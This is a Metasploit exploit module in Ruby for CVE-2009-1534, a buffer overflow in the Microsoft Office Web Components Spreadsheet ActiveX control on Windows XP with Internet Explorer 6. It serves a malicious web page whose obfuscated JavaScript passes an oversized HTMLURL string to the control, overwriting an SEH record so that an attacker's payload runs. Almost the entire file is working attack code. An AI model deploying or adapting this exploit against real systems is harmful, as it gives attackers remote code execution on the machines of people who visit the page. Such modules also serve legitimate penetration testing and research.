##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Microsoft's Office Web Components.
        When passing an overly long string as the "HTMLURL" parameter an attacker can
        execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2009-1534' ],
          [ 'OSVDB', '56916' ],
          [ 'BID', '35992' ],
          [ 'MSB', 'MS09-043' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\xf0",
          'DisableNops'   => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # 'ProgId' => "OWC.Spreadsheet.9"
          # 'ClassId' => "0002E512-0000-0000-C000-000000000046",

          [ 'Windows XP SP3 - IE6 - Office XP SP0',
            {
              'ClassId' => "0002E510-0000-0000-C000-000000000046",
              'Offset'  => 31337,
              'Ret'     => 0x42424242 # p/p/r in msohev.dll ??
            }
          ],

          [ 'Windows XP SP3 - IE6 - Office XP SP3',
            {
              'ClassId' => "0002E511-0000-0000-C000-000000000046",
              'Offset'  => ((4096*7) + 1076),
              'Ret'     => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
            }
          ]
        ],
      'DisclosureDate' => 'Aug 11 2009',
      'DefaultTarget'  => 1))

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ], self.class)
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def big_alnum(num)
    divisor = 2048 + rand(2048)
    pad_pages = num / divisor
    pad_left = num % divisor

    ret = ''
    ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
    ret << rand_text_alphanumeric(pad_left) if pad_left
    ret
  end

  def on_request_uri(cli, request)
=begin
    # Only respond to any client twice...
    if (@sent[cli.peerhost] > 1)
      send_not_found(cli)
      return
    end
    @sent[cli.peerhost] += 1
=end

    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # ActiveX parameter(s)
    clsid = target['ClassId']

    # Exploitation parameter(s)
    seh_offset = target['Offset']

    # Build the buffer.
    string = big_alnum(seh_offset)
    string << generate_seh_record(target.ret)
    string << payload.encoded
    string << big_alnum(40960 - string.length)
    string = Rex::Text.to_unescape(string)

    # Randomize the object and function names
    objid = rand_text_alpha(8+rand(8))
    fnname = rand_text_alpha(8+rand(8))

    # Build the final JavaScript
    js = %Q|
function #{fnname}()
{
var ver1 = -1;
var ver3 = -1;
try {
ver3 = #{objid}.Version.split('.')[3];
ver3 = parseInt(ver3);
ver1 = #{objid}.Version.split('.')[0];
ver1 = parseInt(ver1);
} catch (e) { }
if (ver1 == 9 && ver3 <= 8966)
{
history.go(0);
#{objid}.HTMLURL = unescape('#{string}');
}
}
|

    # Obfuscate the javascript
    opts = {
      'Strings' => false, # way too slow to obfuscate this monster
      'Symbols' => {
        'Variables' => %w{ long ver1 ver3 },
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.obfuscate()
#<body onload="history.go(0); #{fnname}()">

    # Build the final HTML
    content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
<object classid="clsid:#{clsid}" id="#{objid}">
</object>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content,
      {
        # The vuln requires that this be the same on both requests.
        'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
      })

    # Handle the payload
    handler(cli)
  end


end
